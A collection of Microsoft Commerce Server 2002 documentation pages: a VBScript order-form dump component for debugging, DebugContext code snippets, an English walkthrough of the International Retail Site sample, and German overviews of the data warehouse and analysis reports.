function mscsexecute(config, orderform, context, flags)

   Set fs = CreateObject("Scripting.FileSystemObject")
   Set a = fs.CreateTextFile(config.filename, True)

   DumpOrderForm orderform, a

   a.Close

    mscsexecute = 1

end function

sub DumpItem(byRef item, byRef a)

   ' Dump all key/value pairs from a dictionary
   for each key in item
      on error resume next
      a.WriteLine("      Key [" + key + "] {" + TypeName(Key) + "} Value [" + _
            cstr(item.Value(key)) + "] {" + TypeName(item.Value(Key)) + "}")
      if err.number > 0 then
         if err.number = 450 then
            DumpItem key, a
         else
            a.writeline " *** ERROR in DumpItem # " & CStr(Err.Number) & _
                        " " & Err.Description
         end if
      end if
   next

end sub

sub DumpItems(byRef items, byRef a)

   'Iterate over List of Dictionaries, dump each dictionary
   n = 1
   for each item in items
      on error resume next
      a.WriteLine("   Item " + cstr(n))
      if err.number > 0 then a.writeline " *** ERROR in DumpItems # " & _
            CStr(Err.Number) & " " & Err.Description
      DumpItem item, a
      n = n + 1
   next

end sub

sub DumpList(byRef list, byRef a)

   'Iterates over list, write out each item and type
   for each item in list
      on error resume next
      a.WriteLine("   Value [" + item + "] {" + TypeName(item) + "}")
      if err.number > 0 then
         if err.number = 450 then
            a.WriteLine(" ")
            a.WriteLine("   Start Dictionary")
            DumpItem item, a
            a.WriteLine("   End of Dictionary")
            a.WriteLine(" ")

         else
            a.writeline " *** ERROR in DumpList # " & CStr(Err.Number) & _
                        " " & Err.Description
         end if
      end if
   next

end sub

sub DumpOrderForm(byRef orderForm, byRef a)

   a.WriteLine("** Orderform Contents **")

   for each key in orderForm

      if VarType(orderForm.Value(key)) <> vbObject then

         ' Dump out top level items
         a.WriteLine("Order Key [" + key + "] {" + TypeName(Key) + "} Value [" + _
                     cstr(orderForm.Value(key)) + "] {" + _
                     TypeName(orderForm.Value(key)) + "}")

      elseif key = "Items" then

         ' Dump out Items List
         a.WriteLine("Items List")
         DumpItems orderForm.Value(key), a
         a.WriteLine("End of Items List")
         a.WriteLine(" ")

      elseif key = "_Verify_With" then
         ' Dump out _Verify_With Dictionary
         a.WriteLine(" ")
         a.WriteLine("Order Key is [_Verify_With] Start Dictionary")
         DumpItem orderForm.Value(key), a
         a.WriteLine("End of Dictionary")
         a.WriteLine(" ")

      else
         ' Some object, assume it is a list
         a.WriteLine(" ")
         a.WriteLine("Order Key is [" + key + "]" + " Start List")
         on error resume next
         DumpList orderForm.Value(key), a
         if err.number > 0 then
            if err.number = 438 Then
               if TypeName(orderForm.Value(key)) = "IContentList" then
                  a.writeline " *** unable to write the contents of a " & _
                              TypeName(orderForm.Value(key)) & " with " & _
                              orderForm.Value(key).Count & " rows."
               end if
            else
               a.writeline " *** ERROR in DumpOrderForm # " & _
                           CStr(Err.Number) & " " & Err.Description
            end if
         end if
         a.WriteLine("End of List")
         a.WriteLine(" ")

      end if

   next

   a.WriteLine("** End of Orderform Contents **")

end sub


Step 2: Using the DebugContext and ConsoleDebugContext Objects

Commerce Server 2002 provides the DebugContext and ConsoleDebugContext objects to assist site developers in creating and debugging Commerce Server 2002 applications. Developers use these objects to pass properly formed exceptions from within their code and to send trace/warn messages from within the code.

The ConsoleDebugContext object functions are similar to those functions used by Web developers, with the difference that the object functions are designed to be utilized from within programs and executables (.EXEs) instead of being used from within World Wide Web (WWW) pages.

To call the DebugContext.Error() object

To call the ConsoleDebugContext.Error() object

To call the DebugContext.Error() object

  • You use the following code to call the DebugContext.Error() object:
CommerceContext ctx = CommerceContext.Current;
ctx.DebugContext.Error("Test Error", "Error Message");

To call the ConsoleDebugContext.Error() object

You use the following code to call the ConsoleDebugContext.Error() object:

CommerceContext ctx = CommerceContext.Current;
ConsoleDebugContext cdc= new
   ConsoleDebugContext(ctx.DebugContext.DebugMode);
cdc.Error("Test Error", "Error Message");


Exploring the International Retail Site

The International Retail Site provides a starting point for building an International Retail site on top of the Commerce Server 2002 .NET platform.

This section provides procedures that you can follow to explore the functionality of the International Retail site. These procedures should be performed in the following order:

  • Step 1. Adding data to the site. Before you can completely explore the International Retail Site, you must import the Adventure Works catalog, copy images, add a shipping method, add tax rates, and currency conversion information by using Commerce Server Business Desk. To create banner ads, see Creating an Ad in the Commerce Server 2002 help system.
  • Step. 2. Selecting a locale. Select from one of the following supported locales: English-United States, English-Canada, French-Canada, French-France, German-Germany, and Japanese-Japan are all supported.
  • Step 3. Creating a new user account. Create a new user account.
  • Step 4. Creating an address for the user. This address becomes the primary billing/shipping address.
  • Step 5. Logging onto the site using the new user account. This step verifies that the user account was created successfully.
  • Step 6. Shopping the Adventure Works catalog. In this step, you will do the following:
    • Add one item from the Adventure Works catalog to the shopping cart.
    • Check out with one line item in the shopping cart.
    • Add a new credit card to the profile for the registered user.
  • Step 7. Performing simple and advanced searches. You will perform searches of the Adventure Works catalog.
  • Step 8. Placing a multiple shipment order. In this step, you will do the following:
    • Add a new address for the registered user.
    • Add two items to the registered user’s cart, and then check out. Each item in the cart is sent to a different address.

See Also

International Retail Site Software Requirements

International Retail Site


International Retail Site Software Requirements

To run the International Retail Site, you must install the following software in the order shown:

  • Microsoft Windows 2000 Advanced Server with Service Pack 2
  • Windows 2000 Security Rollup Package 1, located at http://go.microsoft.com/fwlink/?LinkId=6537.
  • Nimda patch, available on the Microsoft TechNet Web site, located at http://go.microsoft.com/fwlink/?LinkId=6689.
  • Microsoft Internet Explorer 5.5 with Service Pack 1 or Internet Explorer 6.0 with Internet Explorer Security Update: October 2001, available at http://go.microsoft.com/fwlink/?LinkId=6690.
  • Microsoft SQL Server 2000 Enterprise Edition
  • SQL Server 2000 Enterprise Edition Analysis Services
  • SQL Server 2000 Enterprise Edition Service Pack 2
  • Microsoft Visual Studio .NET Enterprise (includes Visual Studio build 7.0.9466 and .NET Framework v. 1.0.3705)

Optional software includes the Microsoft Passport 2.0 Software Development Kit (SDK), available at http://go.microsoft.com/fwlink/?LinkId=6691.


Step 1. Adding Data to the Site

Before you can use the International Retail Site, you must add catalog data, a shipping method, a tax rate, and currency conversion information to the site by using Commerce Server Business Desk:

  • Import the Adventure Works catalog.

    If you have installed Commerce Server 2002 Standard or Enterprise Edition, you can import the Adventure Works catalog, located in \Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet. For instructions about importing the catalog, see Importing an XML Catalog File.

    To get the images for the Adventure Works catalog, unpack the Catalog Sitelet, which is located in the same SDK directory as the Adventure Works catalog. Under the International Retail Site \images folder, create a folder named Catalog, and copy the images to that folder.

  • Copy the Adventure Works catalog images into Business Desk.

    Copy the Adventure Works catalog \images folder from \inetpub\wwwroot\netcatalogsitelet to Business Desk \inetpub\wwwroot\<sitename>.

  • Add a "By Quantity" shipping method.

    A shipping method is required by the International Retail Site in order to successfully complete the checkout process. The Adventure Works catalog is configured to work with either the "By Quantity" or "By Subtotal" shipping method. You cannot use a "By Weight" method since it has not been defined for the products in this catalog.

    For instructions about adding a shipping method, see To add a charge by quantity shipping method or To add a charge by subtotal shipping method.

  • Add a tax rate.

    For instructions about adding a tax rate, see Adding a Tax Rate.

  • Add currency conversion information to the site.

    The Currency Converter control will only appear on the site if currency exchange rates were created using Business Desk. The multiplier uses the conversion from the base site currency to the currency code you want. For example, to convert Yen to U.S. dollars you multiply a Yen by 0.00750637. Exchange rate information can be found at http://go.microsoft.com/fwlink/?LinkId=6692.

To enable the currency converter on the site

To create Japanese Yen exchange rate

To create Euro exchange rate

To create US Dollars exchange rate

Use the following procedure to enable the currency converter on the site.

To enable the currency converter on the site

  1. In Commerce Server Business Desk , click Profiles, and then Profile Editor.
  2. In the Profiles screen, click Exchange Rate, and then click Open.
  3. In the Exchange Rate screen, click New.

Currency conversion is now enabled for the site.

To create the Japanese Yen exchange rate

  1. In the New Exchange Rate screen, do the following:
    Use this | To do this
    Currency Code | Type JPY.
    Currency Name | Select Japanese Yen from the drop-down list.
    Multiplier | Type 0.0075.

To create the euro exchange rate

  1. In the New Exchange Rate screen, do the following:
    Use this | To do this
    Currency Code | Type EUR.
    Currency Name | Select Euro from the drop-down list.
    Multiplier | Type 0.09.

To create the U.S. dollars exchange rate

  1. In the New Exchange Rate screen, do the following:
    Use this | To do this
    Currency Code | Type USD.
    Currency Name | Select US Dollars from the drop-down list.
    Multiplier | Type 1.
  2. Click Save.

To have exchange rates to appear on the site, you need to publish your profiles to the site. See Publishing Profile Definition Changes on Your Web Site.

Use the following procedure to verify the currency converter is enabled on the site.

To verify that the currency converter is enabled on the site

  1. Navigate to the site and select a locale.
  2. On the Default.aspx page, you should see a drop-down list that contains the available currencies.

Continue to the next step, Selecting a Locale.


Step 2. Selecting a Locale

Perform the following steps to select a locale for the International Retail site:

  1. Use your browser to navigate to http://<servername>/retail2002/.

    The introductory Retail 2002 page appears.

  2. On the Retail 2002 page, select a country/region and language representing your locale:
Select from one of the following supported locales: English-United States, English-Canada, French-Canada, French-France, German-Germany, and Japanese-Japan. The locale you select determines the manner in which site content is displayed.
For example, if you select the U.S. flag, the locale value is set to en-US. The Adventure Works catalog that is subsequently displayed on the site will show product items and descriptions in English, and the corresponding prices for these products are listed in U.S. dollars (USD). If you select the French flag, the locale value is set to fr-FR. Product items and descriptions are displayed in French.

Note

  • The corresponding price of the product is displayed in the base currency of the site. For example, if you select the French flag but the base currency of the site is in U.S. dollars, USD will be displayed on the site. The user has the option to use the currency converter drop-down list to change the currency for the product prices.

You cannot navigate to any other page within the International Retail site until you select a locale.

Notes

  • The locale selection is stored as a persisted cookie (it appears in the URL if cookies are disabled), and you will not see the locale selection page again until the cookie in which this information resides is deleted or you manually navigate back to localeselection.aspx page and make another locale selection.
  • The locale selection choice you make works in conjunction with the type of catalog available to the site. The Adventure Works catalog is a multilingual catalog that supports the majority of the available International Retail Site locales.
  • The locale selection you choose on the site determines which catalogs you can view. For example, if you are viewing the site in en-US (English USA) and one of the catalogs is only available in ja-JP (Japanese Japan), then you will not see that catalog listed as a choice.
  • Catalog supports failover to one catalog if the locale for the user cannot be determined. For example, .NET supports a hierarchal failover that allows a French-Canadian to see French localized strings if the French-Canadian localized strings are not available. This represents two different locale failover patterns in the site.

Continue to the next step, Creating a New User Account.


Step 3. Creating a New User Account

After you select the locale, the Default.aspx page is displayed. Because you imported the Adventure Works catalog, you will see a list of products on this page, beginning with the product Venus and ending with the product Daytrip First Aid Kit. In the top-right corner of this page is the link Sign In, which redirects you to the Login.aspx page. On this page you can either log in to the site using an existing account, or create a new account.

If the Microsoft Passport 2.0 SDK is installed on the server hosting the International Retail Site, an additional link, Sign In .NET, appears on the Login.aspx page. This link is used in conjunction with the Passport service.

Note

  • You need to register your passport server with the Passport service to get passport logout to work.

Use the following procedure to create a new user account.

To create a new user account

  1. On Login.apsx page, click If you need to create an account.
  2. On NewAccount.aspx page, do the following:
    Use this | To do this
    User name Type jdoe.

    Both the user name and password are case-sensitive.
    Password Type password.

    The password must be a minimum of eight characters.
    Re-enter password | Type password again.
    E-mail address Type jdoe@microsoft.com.

    The e-mail address is validated. It must contain a minimum of five characters, an "@" and a "." (an "at" sign and a period).
  3. Click Save.

The International Retail site checks the following:

  • If the password contains a minimum of eight characters (password length configuration is found in the web.config file).
  • If the password and re-entered password match.
  • If the e-mail address is at least five characters in length (e-mail address configuration is found in the web.config file), and contains an "@" and a "." (an "at" sign and a period).

After you create the new user account, a message confirming that your account has been created appears.

Continue to the next step, Creating the User Account Primary Address.


Step 4. Creating the User Account Primary Address

You establish the primary address for the user on the Myaccount.aspx page. This page records the shipping and billing addresses to be used for user transactions. To view the myaccount.aspx page, click Personal Information in the navigation control located on the left panel.

Use the following procedure to create a primary shipping/billing address.

To create a primary shipping/billing address

  1. On the Myaccount.aspx page, do the following:
    Use this | To do this
    First name | Type John.
    Last name | Type Doe.
    E-mail address | This box contains the e-mail address that you entered on the Login.aspx page.
    Telephone | Type 425-555-1212.
    Fax | Leave this box blank.
    Zip Code | Type 98052.
    Country | The country/region shown is determined by the locale you selected when you entered the site. If you clicked the U.S. flag, this value is set to United States.
    Address 1 | Type 1 Microsoft Way.
    Address 2 | Leave this box blank.
    City | Type Redmond.
    State | Select Washington from the drop-down list.
  2. Click Save.

The data you entered is saved in the <Retail2002_site>_commerce database.

Continue to the next step, Logging in Using the New User Account.


Step 5. Logging in Using the New User Account

Perform the following steps to verify that you can log in with the new user account you just created.

  1. Use your browser to navigate to http://<servername>/retail2002/.

    Important

    • Type the name of the server. Do not type localhost.
  2. On the International Retail Site, click Sign In.

    The Login.aspx page opens.

  3. On the Login.aspx page, type, do the following:
    Use this | To do this
    User name Type jdoe.

    Note

    • Both the user name and password are case-sensitive.
    Password | Type password.
  4. Click Login.

    The International Retail Site authenticates your login information. After you are authenticated, the Default.aspx page is displayed and you should see the message "Welcome, John Doe, please make yourself at home."

    If you are not authenticated, the following error message is displayed:

    "The username and/or password is incorrect or the account is invalid."

If you receive this error message, review the steps in To create a new user account. After you are authenticated, continue to the next step, Shopping the Adventure Works Catalog.


Step 6. Shopping the Adventure Works Catalog

On the Default.aspx page, you can do the following:

  • Search catalogs. Use the Search control, located in the upper left corner of the page, to perform simple searches, or select a hyperlink to perform a more advanced search on the contents of all available catalogs.
  • Browse catalogs. You can perform a hierarchical navigation of the various categories within the catalog using hyperlinks in the Browse control. Located under the Search control, the Browse control displays a collective list of all the catalogs users are allowed to view.
  • Toggle catalogs. Click the appropriate tab to move between catalogs.

In this step, you will view products in the Adventure Works catalog, add a product to your cart, remove the product, add a different product, and then check out.

To shop the Adventure Works catalog

To add a different product to your cart

To add credit card information

To shop the Adventure Works catalog

  1. In the Browse control, click Adventure Works Catalog.

    All the catalog categories are displayed. Verify that the following categories are listed in the Browse control:

    • Backpack
    • Boots
    • Carabiner
    • Crampon
    • Harness
    • Pants
    • Parka
    • Rockshoes
    • Shirts
    • SleepingBags
    • Supplies
    • Tents
  2. Click the Parka category.
  3. Select a product in the Parka category.
  4. Examine the contents of the page. Only the following four products should be listed:
    • Alpine
    • Campos
    • Sahara
    • Crystal
  5. Click the Add to Cart button that corresponds to the Alpine Parka.

    The Basket.aspx page displays the full product summary of Alpine parka. You need to select a color from the drop-down list. If a product family has more than one variant, then multiple drop-down lists will appear. As the user selects values from the drop-down list, the other drop-down lists will be refreshed with only the valid product offerings.

    In the international Retail2002.pup package, you configure the action that is performed when a user clicks the Add to Cart button to either remain on the page or to proceed to the Cart.

    On the Basket.aspx page, you can change the quantity of any item in your cart, navigate to the product page using the product link, or remove an item from your cart.

  6. To remove Alpine parka from your cart, select the check box under the label Delete.
  7. Click Update.

    The Alpine parka is removed from your cart. The Basket.aspx page is displayed, along with the message, "Your shopping Cart is Empty."

To add a different product to your cart

  1. In the Browse control, click Adventure Works Catalog.

    All the catalog categories are displayed. Verify that the following categories are listed in the Browse control:

    • Backpack
    • Boots
    • Carabiner
    • Crampon
    • Harness
    • Pants
    • Parka
    • Rockshoes
    • Shirts
    • SleepingBags
    • Supplies
    • Tents
  2. Click Crampon.
  3. Verify that category navigation worked by examining the contents of the page. Only the following three products should be listed on the page:
    • Wafflestomper
    • Edgehugger
    • Glory Grip
  4. Click Glory Grip.

    The Category.aspx page is displayed, providing detailed information about the Glory Grip product, as well as Recommendations and Product Reviews for that particular product.

  5. Click the Add to Cart button.

    The Basket.aspx page is displayed.

  6. Verify that the correct product was added to your cart, and then click Checkout.

    The Checkout.aspx page prompts for information such as the shipping address the product will be delivered to, displays the shipping methods available for selection, the products that are being ordered, order total information, and credit card information. Notice that the Complete Purchase button is not enabled.

    Instructions at the top of the page explain that you must provide a Payment Method to continue.

To add credit card information

  1. In the Payment section of the Checkout.aspx page, click Change.
  2. On the PaymentSelect.aspx page, click New.
  3. On the Payment Option form, do the following
    Use this | To do this
    Card type | Select Visa from the drop-down list.
    Card number | Type 4111-1111-1111-1111, 16 digits.
    Name on card | Type John Doe.
  4. Click Create.

    A credit card record is created for you.

  5. Click Continue.

    The PaymentSelect.aspx page is displayed, along with the following information:

    Visa ####-####-###--1111 01/2003

  6. Click Continue.
  7. Select the card you created for payment.

    The Checkout.aspx page is displayed and the Complete Purchase button is enabled. (If the Complete Purchase button is not enabled, you must first create a "By Quantity" shipping method. To create the shipping method, see To add a charge by quantity shipping method.)

  8. Click Complete Purchase.

    Your order is complete. The Receipt.aspx page is displayed and an Order Receipt is provided.

    The Order Receipt assigns a number to the order, indicates the payment option that was selected (credit card is the only payment means), and lists the billing address the order was billed to. If this is the first order placed, the Order Receipt Number is 1000. The Shipment section of the receipt shows the shipping address the order was sent to, the shipment method selected, and a line-item summary of the products ordered.

    To verify that the order was successfully received, use the Business Desk Orders module to search Order Status for all orders. For instructions, see Finding, Viewing, and Sorting Orders.

  9. Click Continue Shopping to return to the Default.aspx page, which displays the contents of the Adventure Works catalog.

Note

  • You can also create credit card information for your account by following the Payment Options link on the Myaccount.aspx page.

Continue to the next step, Performing Simple and Advanced Searches.


Step 7. Performing Simple and Advanced Searches

You can perform simple or advanced searches on the International Retail Site. Advanced search can be used to perform an intersection of multiple keywords using the logical AND operator.

To perform a search of the catalog

  1. On the Default.aspx page, in the Search control provided in the top left corner of the page, note that the catalog selection box is set to All catalogs.
  2. In the Search box, type scoutpride, and then click Go.

    The search returns scoutpride and the category in which it was found. This is an enumeration of all matches. This particular search should return the Scoutpride product.

  3. Click the Scoutpride link.

    The SearchResults.aspx page is displayed, which lists the details of the product you selected.

  4. Click Add To Cart.

    The Scoutpride cooking set is added to your shopping cart.

  5. Click the Advanced Search link from the cart page, and leave the Catalogs drop-down box set to All catalogs. Do the following:
    Use this | To do this
    Keywords | Type Petzl Spirit.
    Number of items to display | Accept the default of 5.
    Search type | Verify that the Search for keywords AND option is selected.
  6. Click Search.

    The advanced search returns two Petzl Spirit records. The two products listed on the AdvancedSearch.aspx page are different products in the catalog.

  7. Click the first Petzl Spirit link, and then click Add to Cart.

    Your basket now contains two products: the Scoutpride cooking set and the Petzl Spirit carabiner.

  8. Click Checkout.

The Checkout.aspx page is displayed. Continue to the next step, Placing a Multiple Shipment Order.


Step 8. Placing a Multiple Shipment Order

When you have more than one line item in your basket, and you are shipping products to two or more different addresses, you can place a multiple shipment order (that is, an order where different products get shipped to different addresses). In this example, the first requirement, that you have more than one line item in your basket, has been met. However, you need to create a new shipping address for the user, John Doe.

On the Checkout.aspx page, notice that the Shipping Address drop-down list contains only one address: Primary. You can create a new shipping/billing address, or edit an existing one.

To create a new shipping/billing address

  1. On the Checkout.aspx page, click New, and then do the following:
    Use this | To do this
    Address Name | Type Home.
    Last name | Type Jane.
    Last name | Type Doe.
    Country | Type United States.
    Address 1 | Type 2 Doe Way.
    Address 2 | Type Apartment #2.
    City | Type Sammamish.
    State | Type Washington.
    Zip Code | Type 98075.
  2. Click Save.

    The message "Your information has been successfully saved" appears.

  3. To return to checkout, click the Shopping Cart link, and then click Checkout again.
  4. On the Checkout.aspx page, confirm that the new address was created in the Shipping Address drop-down list. Verify that the Home address exists (select the address and its details appear below the drop-down list).
  5. To submit a multiple shipment order, click Multiple Shipments at the bottom of the page.

    The MultipleShiptoSelect.aspx page is displayed. Each line item in your cart now has a shipping address and shipping option control that can be modified.

  6. Select the Ship to Address for the Petzl Spirit.

    If multiple shipping options exist, you can select a different shipping option.

  7. Change the delivery address of this product to the Home address you just created. After you select the Home address, the page automatically updates the address information that appears below the address drop-down box. Verify that the correct address appears.
  8. Click Continue.

    The Checkout.aspx page shows two shipments: Order Shipment 1 and Order Shipment 2. The first shipment, consisting of the Scoutpride cooking set, is going to the Primary Address. The second shipment, which contains the Petzl Spirit carbiner, is going to a different address.

    Continue to the next step to select a payment method.

  9. To use the credit card created earlier, click Change.
  10. On the PaymentSelect.aspx page, select the Visa card ending in the digits 1111, and then click Continue.

    There are now two orders. The payment option has been updated to reflect the credit card you selected, and the Complete Purchase button is enabled.

  11. Click Complete Purchase.

    The Receipt.aspx page is displayed, providing a summary for order number 1001.

These procedures conclude the exploring of the International Retail Site.


CommerceServer-Systeme

Feedback zu dieser Seite senden Commerce Server 2002

Commerce Server-Systeme

Commerce Server 2002 besteht auf oberster Ebene aus fünf integrierten Systemen:

  • Geschäftsanalysesystem
  • Profilsystem
  • Produktkatalogsystem
  • Zielgruppenadressierungssystem
  • Geschäftsabwicklungspipeline-System

Jedes dieser Systeme ist so ausgelegt, dass es von Siteentwicklern leicht an individuelle Unternehmenslösungen angepasst werden kann.

Businessmanager verwenden Commerce Server Business Desk zusammen mit den Commerce Server-Systemen, um beispielsweise Kataloge zu aktualisieren, Benutzern Inhalte zielgerichtet bereitzustellen, Benutzer- und Organisationsprofile zu erstellen oder die Siteverwendung und -produktivität zu analysieren. Systemadministratoren verwenden Commerce Server-Manager für die Konfiguration der Systemressourcen und die Verwaltung von Anwendungen, Datenbanken und Webservern.

Commerce Server-Systeme, Business Desk, Commerce Server-Manager und die Commerce Server-Datenbanken sind in Lösungssites vorkonfiguriert und gepackt. Siteentwickler können die Lösungssites als Ausgangspunkt bei der Erstellung benutzerdefinierter Sites und bei der Integration von Drittanbieteranwendungen einsetzen.

Die folgende Abbildung bietet eine Übersicht über die in Lösungssites enthaltenen Commerce Server-Systeme sowie über Business Desk, Commerce Server-Manager und die Commerce Server-Datenbanken.

Überblick über Commerce Server


Geschäftsanalysesystem

Mithilfe des Geschäftsanalysesystems können Sie auf der Grundlage von Komponenten wie Data Warehouse, Vorhersagedienst, Data Mining und den erweiterten Analysetools stets die richtigen Entscheidungen treffen. Sie können Microsoft Commerce Server 2002 so installieren, dass das Geschäftsanalysesystem als selbstständiges Feature arbeitet und auch mit Nicht-Commerce-Anwendungen verwendet werden kann.

Das Geschäftsanalysesystem besteht aus drei Hauptkomponenten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Data Warehouse. Beschreibt eine Kombination aus SQL Server-Datenbank, OLAP-Datenbank sowie einer Reihe von Prozessen, die Systemadministratoren zum Importieren großer operativer Datenmengen über Siteaktivitäten einsetzen. Das Commerce Server Data Warehouse speichert und verwaltet die Daten in der Datenbank zum Zweck der Geschäftsanalyse: Vorhersage, Data Mining und Analyseberichte.
  • Analyseberichte. Bietet eine Reihe von Berichten, mit denen Sie Produktumsätze, die Webnutzung, Diagnosen von Webseiten usw. analysieren können. Das System verfügt über weitere Features, mit denen das Erstellen und Ausführen von Berichten zusätzlich erleichtert und beschleunigt wird:
    • Mit dem Drillthroughfeature können Sie die Pivot-Steuerelemente verwenden und zu Grunde liegende Daten offen legen.
    • Mit dem Feature für Remotezugriff können Businessmanager die OLAP-Datenbank über einen Firewall oder Proxyserver aufrufen und Berichte ausführen.

In der folgenden Tabelle werden die wichtigsten Hilfethemen zu Commerce Server 2002, dem Data Warehouse, dem Vorhersagedienst und Analyseberichten aufgeführt.

Thema | Abschnitt
Data Warehouse | Data Warehouse-Konzepte Data Warehouse-Konfiguration Mehrere Sites und ein Data Warehouse Festlegen der in das Data Warehouse zu importierenden Daten Data Warehouse-Import-Assistent Importieren von Daten in das Data Warehouse Erstellen von Skripts für DTS-Tasks Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks Data Warehouse, Analysis, and OLE DB Provider (englisches Thema)
Analyseberichte | Business Desk-Analyse Analysis/Reporting Schema (englisches Thema) Analysis/Reporting XML Structures (englisches Thema)


Data Warehouse

Das Commerce Server Data Warehouse stellt eine Kombination aus SQL Server-Datenbank, OLAP-Datenbank (Online Analytical Processing) und einer Reihe von Prozessen dar, die Systemadministratoren zum Importieren und Verwalten von Daten einsetzen. Das Data Warehouse speichert und verwaltet die Daten in der Datenbank zum Zweck der Geschäftsanalyse: Data Mining, Vorhersage und Analyseberichte.

Das Data Warehouse importiert große Datenmengen, die aus einer Reihe verschiedener Datenquellen gesammelt werden. Es stellt täglich anfallende Betriebsdaten über die Besucher Ihrer Site zusammen: Benutzerprofil-, Transaktions- und Klickverlaufsdaten. Außerdem stellt es Produkt- und Werbeanzeigendaten zusammen. Diese Daten stammen aus Webserverprotokollen, den Microsoft Commerce Server-Datenbanken sowie anderen von Ihnen angegebenen Datenquellen. Das Data Warehouse verwaltet die Daten dann in der Datenbank, sodass sie problemlos zur Verwendung in Vorhersagemodellen und zum Erstellen von Berichten aufgerufen werden können.

Das Data Warehouse enthält folgende Hauptkomponenten:

  • Data Warehouse-Konfiguration. Ein Tool, das zum Erstellen eines neuen Data Warehouse verwendet wird. Das Tool eignet sich nicht zum Konfigurieren von vorhandenen Data Warehouses.
  • Commerce Server Data Transformation Services-(DTS)-Tasks. Commerce Server-Tasks, die zum Importieren und Ändern der Daten im Data Warehouse verwendet werden. Die Commerce Server-Tasks werden beim Entpacken einer Site in SQL Server geladen. Wenn Sie Änderungen am Data Warehouse vornehmen möchten, fügen Sie die Commerce Server-DTS-Tasks einem SQL Server-Paket hinzu und führen dieses Paket dann aus. Detaillierte Informationen zur Funktionsweise der Commerce Server-DTS-Tasks finden Sie unter Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks.

    Sie können die Commerce Server DTS-Tasks für den Import der Daten manuell konfigurieren oder den Data Warehouse-Import-Assistenten verwenden.

  • Data Warehouse-Import-Assistent. Eine Schnittstelle, mit der Daten schnell und unkompliziert in das Data Warehouse importiert werden können. Über die Data Warehouse-DTS-Tasks können Sie manuell festlegen, welche Daten importiert werden sollen.

    Data Warehouse-Schemadiagramm. Wenn Sie das Data Warehouse-Schema anzeigen möchten, bevor Sie das Data Warehouse erweitern, befolgen Sie die Hinweise in diesem Diagramm (im Posterformat). Das Diagramm ist im Commerce Server 2002 Enterprise Edition Documentation Kit enthalten und kann unter folgender Webadresse heruntergeladen werden: http://go.microsoft.com/fwlink/?LinkId=6724

Die folgende Abbildung zeigt die Datenquellen, aus denen das Data Warehouse Daten importiert, die DTS-Tasks, die Extraktions-, Transformations- und Ladevorgänge ausführen, sowie die von Data Warehouse unterstützten Analysetools.

Komponenten des Data Warehouse und deren Funktionsweise.

In der folgenden Tabelle werden die wichtigsten Hilfethemen zu Commerce Server, dem Data Warehouse, dem Vorhersagedienst und Analyseberichten aufgeführt.

Thema | Abschnitt
Bereitstellen von Data Warehouse | Data Warehouse-Konzepte Data Warehouse-Konfiguration Mehrere Sites und ein Data Warehouse Data Warehouse-Import-Assistent
Sichern des Data Warehouse | Zugriff auf den Analysis-Server über HTTPS Skripts zum Sichern von durch Berichte aufgerufenen DTS-Tasks Skripts zum Sichern von durch Berichte aufgerufenen Datenbanken Data Warehouse-Verbindungszeichenfolgen
Importieren von Daten in das Data Warehouse | Festlegen der in das Data Warehouse zu importierenden Daten Data Warehouse-Import-Assistent Erstellen von Skripts für DTS-Tasks Extrahierungs-, Transformierungs- und Ladeprozesse für DTS-Tasks Problembehandlung beim Data Warehouse-Importvorgang
 | Data Warehouse, Analysis, and OLE DB Provider (englisches Thema)


Analyseberichte

Das Analyseberichtsfeature ermöglicht Ihnen, die im Data Warehouse gespeicherten Daten zu analysieren. Microsoft Commerce Server enthält eine Reihe von Berichten, mit denen Sie Produktumsätze, die Websitenutzung, Diagnosen von Sites usw. analysieren können.

Die Berichte werden in den Analysemodulen von Commerce Server Business Desk ausgeführt. Bei Verwendung von Commerce Server Enterprise Edition können Sie die Berichtsergebnisse in Listenform exportieren und daraufhin Inhalte zielgruppenspezifisch platzieren.

Commerce Server enthält folgende Features, die die Berichterstellung wesentlich vereinfachen:

  • Mit dem Feature für Remotezugriff können Businessmanager die OLAP-Datenbank über einen Firewall oder Proxyserver aufrufen und Berichte ausführen. (Für diese Funktion ist SQL Server 2000 Enterprise Edition sowie die Enterprise Edition von Analysis Services erforderlich.)
  • Mit dem Drillthroughfeature können Sie die Pivot-Steuerelemente verwenden und zu Grunde liegende Daten offen legen.

Die Ausführungsgeschwindigkeit der Commerce Server-Berichte ist zudem sehr hoch, da die für viele Berichte erforderlichen Daten in einer OLAP-Datenbank gespeichert sind.

Das Analyseberichtsfeature enthält folgende Hauptkomponenten:

  • Analyse Business Desk-Module. Mit diesen Modulen können Sie Berichte ausführen und in Internet Explorer mithilfe von Microsoft PivotTables und Microsoft PivotCharts bearbeiten.
  • Dynamische Berichte. In diesen Berichten erfassen Sie die jüngsten Daten im Data Warehouse. Dynamische Berichte werden zur Laufzeit erstellt.
  • Dynamische Drilltroughberichte. In dieser Art dynamischer Berichte werden detaillierte Informationen über alle Dimensionen in den Cubes angezeigt, die die aktivierte Dimension aufweisen.
  • Statische Berichte. Führen Sie diese Berichte direkt bei Anforderung aus, und speichern Sie sie anschließend gemeinsam mit den Daten im Data Warehouse.
  • In der folgenden Tabelle sind die in Microsoft Commerce Server 2002 enthaltenen Berichte aufgeführt.

Hinweis

  • Mit einem Sternchen (*) versehene Berichte sind nur in Commerce Server 2002 Enterprise Edition verfügbar.
Dynamische Berichte mit Zugriff auf OLAP-Cubes (statische Berichte haben keinen Cube-Zugriff) | Dynamische Berichte, die auf die SQL Server-Datenbank zugreifen | Statische Berichte, die auf die SQL Server-Datenbank zugreifen
Verwendungstrends | *Registrierte Benutzer nach Registrierungsdatum | Abfragezeichenfolgen (mehrere Werte)
Benutzertrends | *Tage bis zur Registrierung | Abfragezeichenfolgen (einzelner Wert)
Aktivität pro Browser | *Benutzerregistrierungsrate | Eingangspfadanalyse
Verschiedene Benutzer pro Zeitraum |  | *Eigenschaften von registriertem Benutzer
Zusammenfassung der Verwendung pro Kalenderwoche |  | *Kundenverkäufe
Zusammenfassung der Verwendung pro Wochentag |  | *Neue registrierte Benutzer
Zusammenfassung der Verwendung nach Tageszeit |  |
Allgemeine Aktivitätsstatistiken |  |
Eingangsseiten |  |
Ausgangsseiten |  |
Zusammenfassung der Bandbreite |  |
Bandbreitentrends |  |
Produktverkäufe |  |
Zugriffe nach HTTP-Status |  |
Zugriffe nach Win32-Status |  |
Verzeichnisse |  |
